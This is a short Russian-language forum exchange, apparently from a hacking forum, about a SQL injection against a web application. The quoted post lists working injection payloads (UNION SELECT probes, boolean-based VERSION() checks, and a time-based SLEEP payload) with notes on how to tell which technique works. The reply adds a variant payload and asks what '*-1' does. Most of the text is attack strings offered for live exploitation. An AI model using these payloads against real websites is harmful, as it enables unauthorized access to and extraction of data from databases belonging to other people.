
18.05.2020, 10:35
|
|
Новичок
Регистрация: 07.07.2009
Сообщений: 2
Провел на форуме: 16896
Репутация:
0
|
|
Сообщение от crlf
↑
Код:
")*-1 UNION SELECT 1 -- если вывода нет, чекаем дальше
")*-1 UNION SELECT "'\"\\" -- // если ошибка, значит результат уходит в другой запрос, крутим по обстоятельствам
") OR SUBSTRING((SELECT VERSION()),1,1)=5 LIMIT 1 -- // boolean based true, есть вывод чего либо
") OR SUBSTRING((SELECT VERSION()),1,1)=1 LIMIT 1 -- // boolean based false, вывода нет
") AND IF(SUBSTRING((SELECT VERSION()),1,1)=5,SLEEP(100),SLEEP(0)); -- // крутим time based
Код:
")*-1 UNION SELECT 1 -- если вывода нет, чекаем дальше
вывода и ошибки нет. но если левый запрос, который перед union вернет хотя бы одну строку то будет ошибка. например
Код:
com%")*-1 UNION SELECT 1
а что значит "*-1" ?
|
|
|